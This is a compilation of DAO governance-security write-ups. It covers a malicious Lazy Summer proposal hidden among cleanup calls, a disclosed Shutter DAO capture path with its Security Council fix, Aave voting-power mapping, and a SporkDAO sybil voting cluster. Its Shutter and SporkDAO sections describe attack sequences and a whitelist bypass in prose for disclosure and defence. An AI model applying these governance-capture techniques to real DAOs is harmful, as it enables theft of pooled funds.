A proposal titled "Revoke Old V1 Roles and Cleanup for V1→V2 Finalization" was submitted to Lazy Summer this week.

Behind twelve on-chain calls dressed as post-migration maintenance, one line would have handed a plain, anonymous wallet the master key to a protocol managing $40 million in user funds across three chains.

The proposal was caught and canceled, thanks to the coordinated response of the Lazy Summer Guardian members, who identified the attack and moved to stop it before it reached execution. But it was closer than it sounds.

Background: What is Lazy Summer

Lazy Summer is a multi-chain yield optimization protocol. Users deposit into vaults (called Fleets), which allocate capital across a set of yield strategies (ARKs): Morpho, Aave, Fluid, and others. The protocol was managing roughly $40M in TVL across Ethereum, Base, Arbitrum, and Sonic.

The entire access structure of the protocol flows through a single contract: the ProtocolAccessManager (0xf389BCEa...). Think of it as the master key for the building. It defines who can do what: rebalance a vault, onboard a new strategy or trigger emergency procedures.

At the top of this hierarchy sits GOVERNOR_ROLE. Whoever holds it can grant or revoke any other role in the system. It is the only role that requires no second check.

Governance decisions flow through a summerGovernor contract (OZ Governor with TimelockControl) and a SummerTimelockController with a 48-hour delay before execution. The Timelock uses the standard OpenZeppelin role model: PROPOSER_ROLE to schedule operations, CANCELLER_ROLE to abort them.

Timeline

In November 2025, Lazy Summer DAO finalized its transition from Governance V1 to V2. The Foundation multisig, which had been added as a co-governor during the transition, formally stepped back. Governance V2 powered, by locked SUMR tokens, became the sole decision-making layer.

In February 2026, SIP0.2 passed. It created a Guardian Module with emergency risk controls — a tightly scoped role that can cancel any proposal at any stage, without requiring quorum or voting power. The design intent was clear, the DAO needed a last-resort protection

In April 2026, Proposal ID 20187383...235 was submitted to the summerGovernor on Base under the title "SIP5.31: Revoke Old V1 Roles and Cleanup for V1→V2 Finalization."

The proposal carried 12 on-chain calls targeting 3 contracts, structured to replicate its effects on Ethereum and Arbitrum via LayerZero. The proposer held 10.001 $SUMR - just one token above the quorum threshold of 10.000 $SUMR. At the token price at the time, this means the attacker was positioned to drain $40M.

It was canceled before it reached execution after Guardian members identified the malicious intent embedded in the calldata.

Diving deeper into the proposal

We retrieved the full calldata via the Tally GraphQL API and decoded each function call against the deployed contract ABIs. Here is what SIP5.31 actually contained:

Calls on the SummerTimelockController

The SummerTimelockController is the protocol's mandatory waiting room. Every governance decision — once approved by vote — must pass through it before taking effect. It holds an enforced 48-hour delay during which an authorized party can still cancel the operation if something looks wrong.

Calls on the ProtocolAccessManager

The ProtocolAccessManager is the master access control contract for the entire protocol.Every permission in the system flows through it. At its top sits GOVERNOR_ROLE: whoever holds it can grant or revoke any other role instantly, without any delay.

Cross-chain replication via LayerZero

Lazy Summer operates across multiple chains. Its governance, however, lives on Base, where proposals are voted on and executed. To make governance decisions take effect on Ethereum and Arbitrum as well, the protocol uses LayerZero: a cross-chain messaging protocol that forwards the same on-chain calls to other networks after a Base approval.

Calls #11 and #12 are exactly that — a mirror of the first ten calls, dispatched automatically to Ethereum and Arbitrum the moment the Base proposal executes.

The important insights here are:

• Call #8 grants GOVERNOR_ROLE on the ProtocolAccessManager to 0xb0f5873f33b540f4e710404a730aa6a62c6118f2 - a plain EOA with no code, no documented role in the protocol, and no meaningful transaction history.

• Calls #1 and #4 together eliminate every holder of CANCELLER_ROLE in the Timelock, with no replacement. Call #10 only restores PROPOSER_ROLE — not CANCELLER_ROLE.

• Calls #11 and #12 are not decorative. They propagate the same role grants to Ethereum and Arbitrum via LayerZero, meaning a single governance approval in Base would have compromised the protocol across all its deployed chains simultaneously.

The cognitive attack surface

The proposal contains 10 legitimate actions and 2 malicious ones. A reviewer who confirms that calls #3, #4, #5, #7, and #10 are correct - and they are - is primed to trust the rest of the package. The pattern is structurally identical to a SQL injection embedded in an otherwise valid query. The malicious payload hides inside context that is supposed to be safe.

The title does the rest. "V1→V2 cleanup" is exactly what the DAO expected to see at this stage of its governance lifecycle. The Foundation multisig did need its roles removed. The Governor did need their PROPOSER_ROLE confirmed. The proposal reads as institutional hygiene - until you decode every call individually.

What would have happened

With GOVERNOR_ROLE on the ProtocolAccessManager, the attacker could have acted immediately - no Timelock, no delay, no governance vote required.

The first moves would have been straightforward:

1. Grant CURATOR_ROLE over any FleetCommander: alter allocation caps, buffer thresholds, strategy composition.

2. Grant COMMANDER_ROLE over any ARK: directly control deposits and withdrawals for individual yield strategies.

3. Grant GUARDIAN_ROLE to themselves: acquire the ability to submit governance proposals without holding any SUMR.

4. Revoke GUARDIAN_ROLE from existing guardians eliminate the only emergency brake.

The second-order effect is worse. With no CANCELLER_ROLE holder left in the Timelock after calls #1 and #4, any new malicious operation queued in the Timelock could not be canceled by the DAO. The DAO would have been able to schedule a fix, but not abort the damage being done in parallel.

The antidote: Guardian cancellation

The summerGovernor implements a non-standard exception in its cancellation logic:

function cancel(...) {
    address proposer = proposalProposer(proposalId);
    if (
        _msgSender() != proposer &&
        getVotes(proposer, block.timestamp - 1) >= proposalThreshold() &&
        !isActiveGuardian(_msgSender())  // guardian bypasses all restrictions
    ) {
        revert SummerGovernorCannotCancelProposal(...);
    }
    return _cancel(...);
}

Any address with an active GUARDIAN_ROLE, checked live against the ProtocolAccessManager via isActiveGuardian(), can cancel any proposal at any stage before execution.

This is the mechanism that stopped SIP5.31. The Guardian members coordinated to identify the proposal, decode its intent, and execute the cancellation before execution became possible. The response required both technical capacity and human coordination under time pressure.

Jensei, from Lazy Summer team and one of the Guardians, identified the attack together with Chris (also from the Lazy Summer team). He described the moment: "I wrote to Chris, as we discovered the proposal together, to send the statement once I get it 😃"

The critical observation is that this defense only existed because of a prior governance decision.

SIP0.2, approved in February 2026, was the proposal that established the Guardian Module. Without it, the cancellation path would not have been available, and the 48-hour Timelock window would have been the only line of defense, a window the proposal itself was designed to exploit by removing all CANCELLER_ROLE holders before execution.

Preventing it

The industry standard for governance security tends toward reactivity: something goes wrong, a patch is applied. Lazy Summer's Guardian Module is a counter-example, because it was built before it was needed.

It is also worth noting the structural difference between the Governor that was attacked and the one currently in use. Governor V1, the target of SIP5.31, used plain $SUMR as its governance token. With a proposal threshold of just 10.000 SUMR, the economic barrier to submit a malicious proposal was approximately $20. Governor V2, the current system, uses stSUMR: a staked, locked version of the token. This significantly raises the cost and time required to accumulate governance power.

Lazy Summer team will also increase the quorum in Governor V2 and formally disconnect from Governor V1 in the coming weeks, eliminating the attacked surface.

Anticapture Framework | Anticapture

The Anticapture Framework evaluates DAO governance security by mapping common attack vectors and defining protective metrics. It translates complex risks into measurable indicators, enabling DAOs to anticipate vulnerabilities before they escalate. By assigning risk levels (low, medium, high), it categorizes each DAO into stages of security maturity.

https://blockful.gitbook.io

Summary

Shutter DAO (0x36) was susceptible to governance capture through which a malicious actor could use the governance system to drain the treasury. The combination of 1) low market capitalization, 2) low active voting power, 3) absence of security guardrails, 4) no proposal spam protection and 5) relevant treasury in non-governance token, created a profitable and easy to execute attack vector.

Treasury stablecoin reserves totalled approximately $3M. Quorum was achievable for approximately $100k in token purchases, a ratio exceeding 30x.

We identified this vulnerability in early 2025 during active governance security work within the Ethereum ecosystem. After more than a year of engagement with stakeholders, multiple mitigation approaches considered and discarded, and a controlled simulation validating the attack path, we coordinated an emergency mitigation with a small group of aligned delegates. In line with responsible security practice, we disclosed publicly only after the mitigation was in place.

The Vulnerability

This is not a code vulnerability, it's an incentive failure.

Shutter DAO (0x36) operates on a governance implementation built using Decent’s framework and the Azorius module. The token holder voting mechanism functions as designed: proposals are submitted, votes are cast, outcomes are executed. The configuration contained a critical gap in its defense parameters.

Governance parameters at the time of identification:

• Proposal threshold: 1 SHU

• Quorum requirement: 3% of total supply (30,000,000 SHU = ~100K USD)

• Voting delay: (0 blocks)

• Voting period: ~3 days (21,600 blocks)

• Timelock: None (0 blocks)

• Proposal limits: None

• Hit-and-run prevention: None

• Veto mechanism: None

An actor could submit unlimited proposals with 1 SHU. With sufficient token accumulation to meet quorum independently, they could pass any proposal, including direct treasury withdrawal.

The White Hat Path

We validated the following attack sequence in a controlled simulation environment using a forked state of the live governance contracts.

Phase 1: Voting power accumulation. Purchase sufficient SHU on secondary markets to meet quorum independently. Current liquidity and market capitalization make this economically feasible at approximately $100k. We tested this by acquiring SHU through open market purchases, reaching 2.2 million tokens in 2 days without price impact, and since then the token price has dropped 30%. Showing that accumulation to the 30 million quorum threshold was operationally practical.

Phase 2: Proposal spam. Submit multiple proposals simultaneously or in rapid succession. Each proposal requires only 1 SHU to create. No proposal limits, rate limiting, or delay mechanisms exist to prevent this behavior. A spam-proposal strategy imposes a very high defense cost on legitimate token holders attempting to coordinate a response: the attacker needs only one proposal to succeed, while defenders must vote against every single one.

Phase 3: Treasury extraction. With quorum met through owned tokens, the attacker controls vote outcomes. Proposals transferring stablecoins from treasury to attacker-controlled addresses pass without intervention. No veto mechanism exists to block execution. No timelock exists to delay execution after a vote passes.

The economic incentive is significant: approximately $3M in stablecoin reserves against an approximately $100k cost of capture.

Discovery and Early Engagement

This vulnerability was identified in early 2025, by expanding Anticapture's coverage and integrating new governance systems. At the time, the DAO was even more exposed, with +$6m in liquid treasury.

Upon identification, we disclosed the risk privately to key members of the Shutter community. The response was measured: the team assessed that they had sufficient defensive capability. We communicated that our simulations showed otherwise — no defensive cards were visible on-chain that would prevent the attack sequence we had validated.

Some time after this initial disclosure, a delegation of approximately 60 million SHU was consolidated into a single wallet, making it the largest delegate in the DAO. This was a meaningful defensive improvement. A large aligned voter capable of meeting quorum in opposition provides a real deterrent. However, this approach has structural limitations:

• It depends on a single wallet being available and responsive to every malicious proposal.

• A spam-proposal strategy can exhaust even a well-resourced defender: the attacker submits many proposals, and the defender must vote against all of them. Only possible defense would be to have a script running with the private key, which also has it's own risks.

• If the wallet is compromised or the key holder is unavailable during a voting period, the defense disappears entirely.

• It creates a single point of failure in what should be a distributed governance system.

White hat capture considered and discarded. During this period, we evaluated a more aggressive approach: executing the attack ourselves as a white hat operation. The plan would involve buying 30M SHU tokens, changing the admin of the DAO, deploying a new instance of the DAO with corrected governance parameters, and returning admin. We chose not to proceed. The lack of support we found in the ecosystem to address the vulnerability through established channels left us without a clear path forward, and legal uncertainty around unauthorized capture — even with intent to return — created unacceptable risk. We had already disclosed to multiple parties that we understood the attack vector, making an anonymous operation impractical.

Continued stakeholder engagement. We continued discussing the vulnerability with select individuals in the Ethereum ecosystem, seeking guidance on the best mitigation path: one that would not require us to take control of the DAO ourselves, that would survive public disclosure, and that could be implemented through legitimate governance.

In November 2025, at DevConnect in Buenos Aires, we were able to have more direct conversations with key members of the Shutter community. These conversations produced what we had been missing: introductions to aligned delegates with governance expertise, operational knowledge of Shutter DAO, and willingness to coordinate on a security response.

This was the turning point. After more than a year of knowing the vulnerability existed and searching for a viable path, we had a group capable of executing the mitigation.

Why Now, Why This Way

The decision to act was driven by two factors.

1. First, the economic context had not improved. Treasury value remained high, token price decreased even more, and the governance configuration remained unchanged since deployment. The vulnerability is not theoretical — it was economically actionable, and had been for over a year.

2. Second, we were not willing to wait indefinitely for a funding mechanism. Previous attempts to establish a path for compensated security work had not moved forward. We decided to act in the best interest of Ethereum's security and pursue retroactive compensation through proper governance channels. The alternative — continuing to sit on a known, exploitable vulnerability — was not acceptable.

Why the “Security Council” Approach. We evaluated multiple mitigation strategies. The critical constraint was this: any mitigation that changes governance rules (proposal thresholds, proposer gating, voting parameters) only takes effect after the proposal passes and executes. During the voting period, the DAO remains fully exposed under the old rules. If the vulnerability details become public at the moment of proposal submission — which they do, since the proposal itself signals that something is wrong — an attacker has a window to exploit before the fix is in place.

The Security Council guard changes this dynamic. Once proposed, the guard provides retroactive protection: even if an attacker submits malicious proposals during the voting period, the guard can veto those proposals after it is installed. The security council doesn’t just prevent future attacks — it can neutralize attacks that are already in flight, provided the Security Council proposal was submitted before those attack proposals.

This is why we submitted a single proposal containing both the guard installation and a timelock, rather than a multi-proposal sequence. And this is why we prepared all communication artifacts in advance and released them simultaneously with the proposal: we could afford to go public because the mitigation, once passed, would cover the exposure window.

The Security Council Guard

The SecurityCouncilAzorius contract implements the IGuard interface from the Zodiac framework. When installed on the Azorius governance module via setGuard(), it interposes on every proposal transaction at execution time.

How it works:

1. A proposal passes the voting period and enters the timelock window (2 days, added by the same proposal that installs the guard).

2. When someone attempts to execute the proposal, Azorius calls checkTransaction() on its configured guard.

3. The guard computes the transaction hash using Azorius.getTxHash() and checks it against its veto registry.

4. If the hash is vetoed, execution reverts with TransactionVetoed. If not, execution proceeds normally.

Council capabilities:

• vetoProposal(proposalId) — vetoes all transactions in a proposal

• unvetoProposal(proposalId) — clears veto on all transactions in a proposal

• vetoTx(txHash) / unvetoTx(txHash) — fine-grained control over individual transaction hashes

• multicall(calls) — batch operations atomically

Design decisions:

• Veto state is stored by transaction hash, not proposal ID. This means if two proposals contain identical calldata, vetoing one blocks both. The council must enumerate active proposals before any veto action.

• The council address uses OpenZeppelin Ownable. Rotation is done via transferOwnership() — no redeployment needed. renounceOwnership() is disabled to prevent accidentally leaving the guard without a council.

• The guard is a veto mechanism, not a gatekeeper: it can block execution, but it cannot modify proposals or force outcomes. Voting and proposing remain fully permissionless.

Audit. The contract was audited by Cyfrin. The audit returned only informational notes. All were addressed and the final version was approved.

shutter-security-council/audits at main · blockful/shutter-security-council

Veto guard contract for Azorius DAO proposals with council-controlled safety - shutter-security-council/audits at main · blockful/shutter-security-council

https://github.com

Coordinated Mitigation

With the guard contract developed, audited, and ready for deployment, we prepared the full execution sequence.

GitHub - blockful/shutter-security-council: Veto guard contract for Azorius DAO proposals with council-controlled safety

Veto guard contract for Azorius DAO proposals with council-controlled safety - blockful/shutter-security-council

https://github.com

Preparation (before going public):

1. Deploy a placeholder 1-of-1 Safe as the initial council address.

2. Deploy SecurityCouncilAzorius with the council Safe and Azorius module as constructor arguments.

3. Verify the contract on Etherscan.

4. Prepare the governance proposal, forum post, delegate messages, and public communications.

Execution (simultaneous):

1. Submit the Security Council proposal on Decent. The proposal contains two atomic transactions:

• Azorius.updateTimelockPeriod(14400) — introduces a 2-day timelock (~14,400 blocks at ~12s/block)

• Azorius.setGuard(guardAddress) — installs the Security Council guard

2. Publish the forum post with a high-level description of the vulnerability, the mitigation plan, and the recommendation.

3. Send private messages to target delegates with full vulnerability details and council participation requests.

Council formation (during voting period):

1. Collect confirmed addresses from delegates who agree to participate.

2. Upgrade the placeholder Safe from 1-of-1 to the full council multisig with appropriate threshold.

3. Verify multisig configuration.

Post-execution:

Once the proposal passes voting and the timelock elapses, the guard is installed and active. From that point, the council can veto any malicious proposal, including any that were submitted during the voting period.

The stakeholder group coordinating the mitigation:

Governance Parameters: Before and After

The Security Council proposal changes two parameters and leaves voting mechanics untouched.

Before the Security Council proposal, a passed proposal could be executed the instant voting ended. No review window. No safety net.

The 2-day timelock creates a window between a proposal passing and becoming executable. This window adds more time for the security council reviewing the proposal and veto if necessary. The guard enforces the veto at execution time.

The proposal threshold and other voting parameters remain unchanged in this proposal. Hardening those parameters (raising the proposer threshold, extending the execution window) is recommended as a follow-up through normal governance, now that the council provides a safety net during the transition.

Trade-offs and Temporary Centralization

This is a centralizing solution. A small group of delegates holds veto power over governance execution while the DAO is stabilized. We are not framing this as anything other than what it is: a necessary tradeoff to protect the treasury and allow proper governance upgrades to be discussed in the open.

The alternative was leaving the DAO economically exposed with a validated attack path and a ROI exceeding 30x. Emergency response differs from permanent architecture.

✅ What the council can do:

• Veto any proposal before execution

• Unveto proposals that were incorrectly blocked

❌ What the council cannot do:

• Submit proposals (unless they separately hold voting power)

• Modify proposal outcomes or vote counts

• Change governance parameters unilaterally

• Access treasury funds directly

On council removal: The guard can be removed through a governance proposal calling Azorius.setGuard(address(0)). However, this removal is itself subject to the council’s veto authority — the council could veto a proposal to remove itself. There are no Safe managers beyond the Azorius module that could bypass this. This is the fundamental trust assumption: the council members are selected for their alignment with the protocol, their reputation in the ecosystem, and their demonstrated commitment to Shutter’s mission. The centralization is real, and the community’s recourse is the accountability and reputation of the individuals holding these seats.

Responsible Disclosure

Following our security agenda, we disclosed publicly only after the mitigation was in the governance pipeline and structured to survive the disclosure itself. Publishing vulnerability details before neutralization would have advertised the attack vector to adversarial actors and created a race condition between coordination and exploitation.

The disclosure sequence was deliberate:

1. Before proposal: No public communication. All coordination was private with the stakeholder group and select counsel.

2. At proposal submission: Forum post and delegate messages released simultaneously. High-level vulnerability description without step-by-step exploit instructions.

   [SECURITY] Emergency Governance Hardening - Attack Prevention

   TL;DR Shutter DAO (0x36) has a governance vulnerability where the cost to attack the DAO (approximately $100K to reach quorum) is significantly lower than the treasury value ($3M+). The current configuration allows any address holding 1 SHU to submit unlimited proposals with zero timelock, creating an asymmetric attack surface: an attacker needs only ONE proposal to pass, while defenders must vote NO on every malicious proposal.

   https://shutternetwork.discourse.group

   

3. After execution: Full technical disclosure. Safe to publish because the guard is active and can veto any attack submitted after the vulnerability became public knowledge.

Exceptions were made for counsel on how to proceed: Loring Harkness from Brainbot, who provided Shutter-specific protocol context.

Long-Term Improvements

After neutralizing the acute risk, we recommend the community explore:

• Proposal threshold increase. Raising the required proposer weight from 1 SHU to a meaningful amount (e.g., 100,000 SHU, 0.01% of supply) eliminates spam while remaining accessible to serious participants. Based on delegated voting power, not token balance.

• Execution window extension. With the 2-day timelock added, extending the execution window from 3 days to 7 days gives legitimate proposers sufficient time to execute without risk of proposals expiring over weekends or holidays.

• Azorius module enhancements. Rate limiting on proposal creation, proposal staging windows, and time-delayed execution add defense-in-depth beyond the council’s veto capability.

• Broader veto mechanisms. Enabling intervention without permanent centralization of veto authority. The current council is a temporary measure; the long-term goal is governance architecture that is resilient by design, not by delegation.

The objective is designing a resilient system while the DAO is not under active attack. Security creates the conditions for sustainable decentralization.

This work is part of blockful’s security agenda. Our purpose is aligned with the Ethereum ecosystem: we are committed to protecting not only the funds present in it, but every piece of infrastructure that makes it what it is.

Shutter’s research on encrypted mempools and MEV protection positions it as infrastructure-grade technology within the Ethereum ecosystem. Governance vulnerabilities represent structural risks requiring systematic identification, quantification, and mitigation.

This pattern repeats across protocol lifecycles: governance designs adequate at one treasury scale fail at another.

"I have been in every room in the house, I have frightened the housekeeper into hysterics, I have assumed various disguises, and yet all my efforts have been in vain. I am the ghost of this house, and I shall remain so." – From Oscar Wilde's The Canterville Ghost

This week, one of the most relevant proposals for the ecosystem went to a vote: Aave Will Win. If approved, it will pay $47.5M and 75,000 $AAVE to Aave Labs to continue the development and launch of Aave v4, routes all Aave-branded product revenue to treasury, and approves brand-protection plan.

[TEMP CHECK] Aave Will Win Framework

1. Summary Aave began with the thesis that decentralized lending could play a major role in traditional finance. Eight years later, that thesis has been validated. Aave is the largest protocol in decentralized finance, commanding a 60% market share in lending. The opportunity ahead, however, is bigger than anything behind us.

https://governance.aave.com

Its relevance is not only due to the amount of money allocated to Aave Labs, which represents 30% of the treasury. The Aave DAO community is, for the most part, against the proposal.

Since the beginning of the proposal’s discussion, the Aave Chan Initiative — led by Marc Zeller — has positioned itself against it. BGD Labs, a service provider for more than four years within the Aave DAO, has decided to stop working with Aave.

BGD. Leaving Aave

Simple summary We would like to inform the community with sufficient time in advance that, once our current engagement for services with the Aave DAO will conclude on April 1st, 2026, we will not be seeking a renewal and will cease our contribution to Aave.

https://governance.aave.com

The Conflict

There is clearly a conflict between Aave Labs and the DAO. This clash has been going on for months.

It began back in 2025, when Ezr3al — an Aave delegate — discovered that one of Aave DAO’s revenue sources had ceased to exist due to a modification made by Aave Labs to Aave’s front-end.

Since then, Aave governance has turned into a stage for a power struggle between Stani, Aave Labs, and the Aave DAO.

On February 3, ACI submitted a proposal to improve transparency and prevent conflicts of interest within the Aave DAO.

Its objective was to require active governance participants to disclose their addresses and available voting power, as well as to prohibit individuals from using their votes to approve proposals that directly benefit themselves — in such cases, they would be required to abstain.

The proposal had specific targets: Stani Kulechov and Aave Labs.

After the approval of the proposal that kept the “Aave” brand under the control of Aave Labs, ACI and several delegates already knew that Aave Labs would submit a proposal requesting a budget to launch Aave v4.

Their concern was that old wallets would be used to vote in favor of their proposal — just as they did in the proposal that kept the brand under Aave Labs’ control.

Haunted

Stani and multiple members of Aave Labs opposed the proposal aimed at improving transparency and conflict-of-interest guidelines within the DAO. They argued that such measures could create confusion and friction in governance.

Stani also stated: “The whole point of token governance is to enable participation with tokens one owns, with full sovereignty.”

The proposal went to a vote on Snapshot and was not approved.

According to an analysis conducted by Marc Zeller from ACI, 99% of the votes against the proposal were linked to Stani Kulechov and Aave Labs.

On the same day as Zeller’s analysis, Aave Labs submitted the “Aave Will Win” proposal to the Aave DAO forum.

In addition to a strategy to share revenue with the DAO and structure a Foundation controlled by the DAO to maintain the “Aave” brand, Aave Labs requested a budget of $47.5M in stablecoins and 75,000 $AAVE — equivalent to 30% of the DAO’s treasury.

The proposal ended on Saturday, with 622K YES and 497K NO.

Given Aave Labs' and Stani's behavior, we analyzed the addresses used in the proposal, as well as other wallets holding Aave governance tokens.

The analyzed addresses can be found in this spreadsheet. All information regarding voting power was obtained through this query.

Most of the votes in favor (600K $AAVE) come from five addresses:

• 0x7F4a59b7517233F0b54f26cb9FDc5587A88cd1E1: ParaFi Capital — 190K

• 0x2079C29Be9c8095042edB95f293B5b510203d6cE: luggis.eth — 123.6K

• Areta: an address that received delegations from Stani Kulechov — 75.8K

• 0xdC0990910F47aD479020eD77B0d62BF738C2791a: an address with connections to Stani Kulechov’s wallet — 111K

• 0x388cd8A0a0e05B50307FEC7F3Ef1e8893E0b70cC: connections with Aave Team Multisig — 47.1K.

The Control

According to the addresses mapped in the research, Stani Kulechov and Aave Labs still control over 300,000 $AAVE across wallets under their control, which could be used to approve the proposal once it goes for onchain vote.

The votes are controlled by 9 different addresses, with particular emphasis on:

• 0xEA0C12Fd29c3fe5B1ecC82a42702196bd0De6B5A — 333,000 $AAVE and voted against the proposal to transfer the Aave brand from Aave Labs to the Aave DAO — identified as “Stani” by Nansen.

• 0x47ca539b3f546078d97bd851130741c6bf370100 — 84,032 $AAVE and identified as “Stani” by Nansen.

• 0x58ddfb3db792d2f8e2cdd5ba9726e6b932a3f5af — 40,879 $AAVE and receives delegations from an address identified as “Stani” on Nansen.

None of these addresses was used in the latest vote.

Beyond the clearer connections mentioned above, there are also addresses linked to wallets labeled as “Aave Genesis Team” and responsible for acting in Aave multisigs.

We also identified 13 addresses holding 276,610 $AAVE that received large allocations in the last months and have shown no on-chain activity beyond the initial transfers. Only one address holds stkAAVE, the staked version of the Aave DAO governance token.

One pattern we found is that 10 of the 13 addresses received transfers ranging between 14K and 39K $AAVE over the past two months. All transfers originated from Coinbase or Coinbase Prime.

None of the 13 addresses has direct connections to Stani Kulechov or Aave Labs.

However, this is common behavior when voters seek to increase their voting power without being tracked: acquiring tokens on a CEX and transferring them to previously unused addresses.

We expect to see many of these addresses, as well as others not identified in our analysis, being used to vote in favor of the on-chain proposal in case opposition gets above what is was on the Snapshot vote.

The Ghost

Aave is one of the most important DAOs on Ethereum. The lack of visibility on voting powers, their distribution, and coalitions, really shows at moments like this.

We are working our way into getting Aave data available at anticapture.com as soon as possible, so everyone can see where the power to choose how "Aave will win" sits.

Many procedures of the TSA have been criticized as security theater. Specific measures critiqued as security theater include the "patting down the crotches of children, the elderly and even infants as part of the post-9/11 airport security show" and the use of full body scanners, which "are ineffective and can be easily manipulated."

Someone walked in through the side. The election results were not altered. But the entrance is still there.

SporkDAO Is Worth Understanding Carefully

SporkDAO is a Colorado Limited Cooperative Association: the first legally recognized DAO in the United States. When Governor Jared Polis announced Colorado's ambition to become the "First Digital State" in 2021, SporkDAO was the operational proof that the model could work. It set a precedent that continues to shape how US legislators and regulators approach DAOs.

Its operating asset is ETHDenver, the largest and most sustained Ethereum-aligned gathering in the US. Over 100,000 participants from 140+ countries. Tens of millions of dollars mobilized annually through sponsorships, grants, and ecosystem investment. A hackathon infrastructure that has seeded projects now operating at serious scale. There is no comparable event in the United States in terms of Ethereum alignment, community ownership, and cultural density.

Colorado to become the first state to accept cryptocurrency as payment for taxes

Colorado is set to become the first state to accept cryptocurrency as payment for state taxes and fees

https://abcnews.com

SporkDAO's governance runs on $SPORK. Members stake tokens, and voting is quadratic, meaning that spreading votes across candidates dilutes individual power, while concentrating them amplifies it. The primary use of that mechanism is electing the Board of Stewards, the body that holds legal and operational responsibility for ETHDenver and its subsidiaries.

In spring 2025, the Board voted to distribute $420,000 USDC to members, real economic returns to real participants in a cooperative structure. This is not symbolic governance.

The Board of Stewards holds some legal and financial responsibility for this structure, and electing that board is the primary governance function of $SPORK. Even operating through Snapshot, off-chain, without the finality guarantees of on-chain execution, the integrity of that election carries reputational and regulatory weight that extends well beyond the DAO itself. SporkDAO is one of the most structurally organized DAOs from a regulatory standpoint. How its governance functions, or fails to function, is watched.

The Design Is Right. The Enforcement Boundary Is Not.

SporkDAO's approach to sybil resistance is conceptually sound. According to its tokenomics documentation, membership requires staking at least 1 $SPORK and having attended at least one of the last two ETHDenver events. Voting is quadratic, weighted by staked balance. Physical presence at ETHDenver is a meaningful constraint. It requires real-world coordination that cannot be replicated cheaply at scale by automated actors. The design correctly identifies the attack surface and applies a real-world bounded gate.

The issue is that this gate lives in the wrong place. SporkDAO maintains an IPFS-hosted file of verified ETHDenver attendees. When a user visits the website to stake, the site checks whether their address appears on that list. If it does not, the flow stops there. But the Snapshot voting strategy, the layer that actually calculates each voter's quadratic weight at the moment of voting, reads staked $SPORK balances from the staking contract on-chain. It does not reference the IPFS whitelist. It has no awareness of the attendance requirement.

A wallet that staked by interacting with the contract directly, through Etherscan, without ever touching the website, is indistinguishable from a verified member in the strategy's view. The frontend enforces the membership policy. The execution environment does not. This is a limitation of the Snapshot voting platform, not a weakness in SporkDAO’s secure and smart membership requirements.

What the Data Shows

On February 26, 2026, between 20:46 and 20:58 UTC, some wallets each holding staked $SPORK cast votes in the Board of Stewards election. The staking amount is notable: √324 = 18, a clean quadratic weight, suggesting familiarity with SporkDAO's voting mechanics. After the election finalized it became clear: each of these 193 wallets made an intentionally invalid vote, having no effect on the outcome of the election at all.

The elected Board members, Hannah Laut (27.71%), John Paller (26.76%), and Joseph Schiarizzi (21.5%), were determined by legitimate voting power that dwarfed the cluster's footprint by orders of magnitude. The outcome was not altered. Plus, the cluster was filtered out by SporkDAO’s manual review of the membership requirements.

The behavioral signature, identical balances, compressed timing, uniform vote distribution, is consistent with automation, but the data does not establish intent or attribution beyond that, blockful analysis shows these wallets were funded by other connected wallets, and likely controlled by a single user.

The Scenario That Didn't Happen

The actor who executed this distributed votes evenly. That choice, whether deliberate or incidental, is what kept this a footnote rather than a crisis. At the turnout levels observed in this election, that alone would not have been sufficient to alter the outcome.

The cost of running this operation is bounded by the price of $SPORK and the effort of distributing it across addresses. There is no identity barrier in the execution path. There is no enforcement mechanism that escalates cost with scale. The ceiling is economic, not structural, and SporkDAO's governance controls assets and legal standing worth considerably more than the cost of the operation.

The right question is not what this actor did. It is what the mechanism permits.

How to Close the Gap

The fix is a configuration change, not a protocol redesign.

Snapshot supports combined voting strategies. The SporkDAO space strategy should be modified so that voting power is granted only to addresses that satisfy two conditions simultaneously: holding staked $SPORK above the minimum threshold, and appearing on the current membership whitelist. The IPFS whitelist already exists. It is not being consulted at the point of execution. Connecting these two layers closes the demonstrated vector before the next election cycle.

Beyond that, the IPFS whitelist carries its own operational fragility, it requires a trusted party to maintain it, pin it, and update the content hash referenced in the strategy configuration before each election. A more durable architecture involves an on-chain MemberRegistry contract, controlled by a Board multisig, updated annually following ETHDenver registration. The Snapshot strategy references the contract state at the vote snapshot block. This removes the off-chain dependency and makes membership state auditable and transparent.

These are not large engineering efforts. They are configuration and deployment tasks. The gap between the stated membership policy and its enforcement in execution is a known, scoped, remediable problem.

On Observability

The cluster in this election was identifiable in real time. Identical staked balances, 12-minute execution window, uniform vote distribution, this is a high-confidence behavioral signature. A monitoring system watching Snapshot vote submissions against on-chain staking activity would have flagged it while the vote was still open.

Post-hoc analysis from a CSV export is forensics, not security. The signal that matters is the one that arrives while there is still time to act.

blockful is developing monitoring infrastructure for off-chain DAOs, organizations that conduct governance offchain while anchoring economic rights on-chain. As part of the next phase of the Anticapture platform, this includes real-time alerting on sybil-consistent patterns, strategy configuration drift detection, and voting power anomaly signals during live governance windows. The SporkDAO 2026 election is precisely the scenario this tooling is built to surface.

anticapture

@anticapture

[ANTICAPTURE::UPDATE V1]

This is not the moment to lose funds. It never is.

Deeper risk assessment live: analyze holders and delegates, check token distribution, and track votes.

Security expanded. Not an alert. A necessity.

Visit now: anticapture.com

9

6:53 PM • Feb 26, 2026

Data source: SporkDAO Board Election Snapshot export, February 27, 2026. Tokenomics and governance documentation: sporkdao.org/tokenomics. blockful is an independent governance security organization. This post does not constitute legal or financial advice.

In the early 2000s, a company came to believe it had discovered a durable source of power. Its business extended beyond the production of energy into the management of prices, expectations, and market perception.

At Enron, executives were compensated in equity, hedged exposure through complex financial structures, and simultaneously exerted influence over the markets in which they were the largest participants. Their position allowed them to shape reported performance, contractual terms, and forward expectations. For a period, this configuration remained stable. Market prices aligned with internal narratives, and those narratives were reinforced by concentrated ownership.

When market conditions shifted, there was no external pool of marginal buyers capable of absorbing risk. The actors most invested in sustaining price levels were also the most exposed to their decline. Defensive actions taken to protect individual positions compounded systemic stress. Value erosion followed directly from concentration, not in spite of it.

Market Context and Initial Shock

During the early hours of February 2, BTC fell from $78K to $74K. The drop dragged the broader market down, with altcoins losing more than two digits in percentage terms.

Despite the negative impact across many tokens, one suffered far more than the rest: $BAL.

$BAL is the token of Balancer. It is among the DeFi tokens that have been losing value over the past few years. $BAL can be locked on Balancer in exchange for $veBAL, its governance token. $veBAL is used to decide which pools receive new $BAL emissions, with the goal of incentivizing liquidity.

One individual accumulated millions of dollars worth of $BAL over the past few years: Humpy. If you are not familiar with him, we recommend reading this article.

